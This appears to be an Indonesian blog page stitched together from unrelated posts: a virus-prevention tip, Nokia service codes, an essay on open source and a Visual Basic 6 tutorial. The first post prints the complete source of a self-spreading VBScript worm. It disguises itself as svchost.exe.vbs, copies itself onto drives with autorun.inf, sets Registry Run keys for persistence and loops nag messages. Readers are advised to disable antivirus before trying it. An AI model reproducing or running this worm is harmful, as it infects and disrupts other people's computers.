





Submitted by quantumbox
Di indonesia saat ini sudah banyak sekali beredar virus-virus lokal yang merupakan hasil karya anak bangsa. Kalau hal-hal yang buruk memang kita jagoannya, sedangkan perkembangan anti virus lokal tidak secepat perkembangan virus yang telah menjamur saat ini. Sedangkan anti virus profesional produk luar negeri seringkali tidak mengenal virus-virus lokal ini, sebab anti virus seringkali hanya bisa mendeteksi virus yang sudah di analisa oleh Lab anti virus. Untuk mencegah virus menginfeksi komputer kita sebenarnya tidak perlu anti virus. Yang kita butuhkan sebenarnya adalah kehati-hatian kita sewaktu membuka file. Berikut adalah beberapa tips membuka file agar tidak tertular virus
Tutorial ini hanya untuk mencegah virus masuk ke dalam komputer anda, bukan untuk menghilangkan virus. Kapan-kapan nanti penulis akan menjelaskan tentang hal ini pada blog yang lain
VB Script atau Visual Basic Script sebenarnya hanyalah teks biasa yang berisi kode pemrograman dengan bahasa visual basic dan disimpan dengan format vbs. Untuk membuat vbscript cukup menggunakan teks editor sederhana seperti Notepad atau menggunakan yang lebih lengkap seperti Ultra Edit atau Notepad++. Berikut adalah contoh membuat vbscript sederhana.
Berikut adalah contoh kode virus menggunakan vbscript sederhana. Jika ingin mencoba sebaiknya Anti virus di matikan dan Install juga Deep Freeze, kemudian bekukan seluruh harddrive
*****
'El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost",winpath&"\svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",""
rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3"
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname
do while year(now) >= 2008
WScript.sleep 20000
msgbox "Hai orang-orang, ingatlah kiamat akan datang" & vbcrlf & _
"Karena itu, sholat dan beribadahlah engkau" & vbcrlf & _
"Karena jika tidak, siksa neraka telah menunggu ," & vbcrlf & _
" KIAMAT SUDAH DEKAT!!!" & vbcrlf & vbcrlf & _
" Suara dari orang risau dengan keadaan dunia"
loop
Untuk mengetahui kode akses (informasi) tersembunyi,
tekanlah kode akses di bawah ini dan diikuti tekan
"CALL" (biasanya bergambar gagang telepon hijau)
KODE AKSES NOKIA
*#30# Menampilkan 'private number' yg menghubungi Anda
*#73# Mereset timer ponsel dan skor game (pd bbrp ponsel)
*#7780# Mengembalikan ke setting pabrik (factory setting)
*#2820# Alamat IP perangkat Bluetooth (hanya utk yg memiliki fitur Bluetooth)
xx# Akses cepat ke nama/nomor telepon di phonebook ponsel misal 20#
Tombol OFF Menekan dg singkat, utk berpindah antar profile
*3370# Mengaktifkan ENHANCED FULL RATE Codec (EFR). Ponsel Nokia Anda akan
memakai kualitas suara terbaik, namun fitur ini memerlukan energi lebih shg
sedikit menguras daya baterai. Catatan: kode ini tidak berlaku di ponsel2
Symbian.
#3370# Menonaktifkan Enhanced Full Rate Codec (EFR)
*#4720# Mengaktifkan Hall Rate Codec. Ponsel Nokia Anda akan menggunakan
kualitas suara lebih rendah shg bisa menghemat energi baterai sekitar 30%
#4720# Menonaktifkan Half Rate Codec
*#0000# Menampilkan versi software ponsel. Baris pertama menunjukkan versi
software, baris kedua menunjukkan tgl pembuatan software, baris ketiga
menunjukkan tipe kompresi yg digunakan.
*#9999# Kode alternatif jika *#0000# tidak bekerja
*#06# Melihat nomor international Mobile Equipment Identity (nomor IMEI)
*#21# Mengecek nomor panggilan "All Calls" yg digunakan
*#2640# Menampilkan kode keamanan ponsel yg digunakan (bila masih
menggunakan standard kode tidak akan terlihat)
*#43# Mengecek status "Call Waiting"
*#61# Untuk mengecek nomor pemanggil yg dialihkan ketika tak Anda jawab
(Jika Anda mengaktifkan Call Divert/pengalihan panggilan)
*#62# Mengecek nomor pemanggil yg dialihkan ketika ponsel Anda di luar
jangkauan (jika Anda mengaktifkan Call Divert/pengalihan panggilan)
*#67# Mengecek nomor pemanggil yg dialihkan ketika ponsel Anda sedang sibuk
(Jika Anda mengaktifkan call Divert/pengalihan panggilan)
**21*number# Menghidupkan pengalihan "All Calls" pada nomor yg diisi
**61*number# Menghidupkan pengalihan "No Reply" pada nomor yg diisi
**67*number# Menghidupkan pengalihan "On Busy" pada nomor yg diisi
*#67705646# Mengganti Logo Operator Logo pada Nokia 3310 dan 3330
*#746025625# Menampilkan status SIM Clock. Jika ponsel Anda mendukung fitur
penghemat energi akan keluar tulisan "Sim Clock Stop Allowed", artinya Anda
akan mendapatkan waktu standby yg lebih panjang.
*#7760# Menampilkan kode pabrikan (utk sebagian besar ponsel tipe lama)
*#92702689# Memunculkan: 1.Serial Number (nomor serial), 2.Date Made (tgl
pembuatan), 3.Purchase Date (tgl pembelian), 4. Date of last repair (tgl
terakhir perbaikan / 0000 utk yg belum pernah diperbaiki). 5. Transfer User
Data. Di bbrp ponsel, untuk keluar dari mode ini Anda harus merestart ponsel.
Sumber :
http://www.gsn-soeki.com/wouw/
Open source software adalah istilah yang digunakan untuk software yang membuka/membebaskan source codenya untuk dilihat oleh orang lain dan membiarkan orang lain mengetahui cara kerja software tersebut dan sekaligus memperbaiki kelemahan-kelemahan yang ada pada software tersebut. Dan yang menarik dan salah satu keunggulannya adalah bahwa Open source software dapat diperoleh dan digunakan secara gratis tanpa perlu membayar lisensi. Biasanya orang mendapatkan software ini dari internet. Salah satu open source software yang terkenal yaitu Linux.
Keberadaan open source software ini sangat ditunjang oleh internet. Mula-mula Open source software diambil dari internet kemudian digunakan oleh orang dan diperbaiki apabila ada kesalahan. Hasil perbaikan dari open source ini kemudian dipublikasikan kembali melalui internet yang memungkinkan orang lain menggunakan dan memperbaikinya. Dan begitulah seterusnya. Saat ini sangat mudah mendapatkan open source software di internet.
Pengembangan open source software melibatkan banyak orang dari berbagai penjuru dunia yang berinteraksi melalui internet. Maka bermunculanlah berbagai macam software yang dibuat berbasis open source ini yang dipublikasikan melalui internet. Pola open source ini telah melahirkan developer-developer handal dari berbagai penjuru dunia.
Dengan pola open source orang dapat membuat dan mengembangkan apa yang disebut dengan free software. Software ini dapat digunakan tanpa perlu membayar lisensi atau hak cipta karena memang dikembangkan dengan pola open source. Jadi, dengan pola open source orang dapat mengembangkan software dan mempublikasikannya dengan bebas melalui internet. Maka tidak heran apabila kita akan banyak menemukan free software ini di internet dan bisa secara bebas mendownloadnya tanpa perlu membayar uang sepeser pun kepada pengembang software tersebut.
Free software disini juga bukan program kacangan. Anggapan bahwa barang yang gratis jelek kualitasnya tidak berlaku buat free software. Karena sudah terbukti kehandalannya. Dan karena free software berbasis open source maka software tersebut sudah melalui proses perbaikan yang terus menerus. Jadi tidak ada alasan tidak mau menggunakan free software ini dengan alasan kualitasnya yang tidak baik.
Dengan karakteristik yang telah disebutkan di atas maka tidak salah apabila kita menaruh harapan pada open source ini sebagai platform alternatif yang bisa kita gunakan dalam komputer kita. Penerapan pola open source di Indonesia juga dapat menghilangkan pemakaian software komersial secara ilegal dan memungkinkan bangsa
Visual Basic 6 mengenal beberapa type data, antara lain :
Data yang disimpan di dalam memory komputer membutuhkan sebuah wadah. Wadah inilah yang disebut dengan VARIABEL. Setiap variabel untuk menyimpan data dengan type tertentu membutuhkan alokasi jumlah memory (byte) yang berbeda.
Variabel dibuat melalui penulisan deklarasi variabel di dalam kode program :
Dim
Contoh : Dim nama_user As String
Aturan di dalam penamaan variabel :
Sebuah variabel hanya dapat menyimpan satu nilai data sesuai dengan type datanya. Cara mengisi nilai data ke dalam sebuah variabel :
Contoh : nama_user = “krisna”
Untuk type data tertentu nilai_data harus diapit tanda pembatas. Type data string dibatasi tanda petikganda : “nilai_data”. Type data date dibatasi tanda pagar : #nilai_data#. Type data lainnya tidak perlu tanda pembatas.
Sebuah variabel mempunyai ruang-lingkup (scope) dan waktu-hidup (lifetime) :
Variabel yang nilai datanya bersifat tetap dan tidak bisa diubah disebut KONSTANTA.
Penulisan deklarasi konstanta di dalam kode program :
Const
Contoh : Const tgl_gajian As Date = #25/09/2003#
Metode
Bahwa jalannya program dapat diatur sesuai aplikasi dengan menggunakan metode pemrograman yang diatur sebagai aksi dari setiap komponen. Metode inilah tempat untuk mengekpresikan logika pemrograman dari pembuatan suatu prgram aplikasi.
Setiap komponen dapat beraksi melalui event, seperti event click pada command button yang tertulis dalam layar script Command1_Click, atau event Mouse Down pada picture yang tertulis dengan Picture1_MouseDown. Pengaturan event dalam setiap komponen yang akan menjalankan semua metode yang dibuat.
Dibawah ini merupakan beberapa macam event yang dapat diaktifkan oleh pemakai program :
Click
Event ini terjadi apabila pemakai program menekan dan melepas tombol kiri mouse dengan cepat saat pointer mouse berada di atas sutu control.
DblClick
Event ini terjadi apabila pemakai program menekan dan melepas tombol kiri mouse sebanyak dua kali dengan cepat tanpa memindahkan posisi pointer mouse.
MouseDown
Event ini terjadi apabila pemakai program hanya menekan dan menahan tombol kiri mouse.
MouseUp
Event ini terjadi apabila pemakai program melepas tombol kiri mouse.
MouseMove
Event ini terjadi apabila pemakai program hanya memindahkan mouse tanpa menekan tombolnya.
KeyPress
Event ini terjadi apabila sebuah tombol keyboard ditekan. Untuk menyatakan jenis tombol keyboard yang ditekan maka digunakan kode ASCII.
KeyDown
Event ini terjadi apabila pemakai program menekan dan menahan sebuah tombol keyboard.
KeyUp
Event ini terjadi apabila pemakai program melepas sebuah tombol keyboard.
1. Apa itu Procedure ?
Procedure adalah blok kode program yang berisi perintah-perintah untuk mengerjakan tugas tertentu. Bila di dalam kode program yang kita buat ada perintah-perintah untuk melakukan tugas yang sama di beberapa tempat, maka akan lebih baik perintah-perintah tersebut dibuat dalam sebuah procedure. Kemudian, procedure itu bisa di-‘panggil’ bila diperlukan.
Penggunaan procedure sangat menghemat penulisan kode program, karena kode-kode program yang sama dibeberapa tempat cukup dibuat pada satu bagian saja. Selain itu, procedure akan memudahkan perbaikan kode program bila terjadi perubahan atau kesalahan, karena perbaikan cukup dilakukan pada satu bagian saja.
2. Jenis-jenis Procedure
Pada VB6 ada 4 jenis procedure, yaitu :
Berikut adalah langkah – langkah untuk membuat sebuah program menggunakan Visual Basic 6 :
Langkah 1 adalah Merancang Tampilan Program
Setelah Visual Basic diaktifkan, Visual Basic akan menampilkan proyek dengan nama Project1. Di dalam Project1 terdapat form dengan nama Form1. Sekarang tempatkan beberapa control pada Form1, dengan cara sebagai berikut :
Langkah 2 adalah Mengatur Properti
1. Atur property project, dengan cara:
2. Atur Properti Form, dengan cara :
3. Atur property Label1 dan Label2, dengan cara :
4. Atur property Command1, dengan cara :
Langkah 3 adalah Mengetikan Kode Program
Untuk mengetikkan kode program, lakukan dengan cara klik dua kali Command1 (Command Close) kemudian kettikan kode program berikut :
Private Sub cmdclose_Click()
Unload Me
End Sub
Langkah 4 adalah Menjalankan dan Menghentikan Program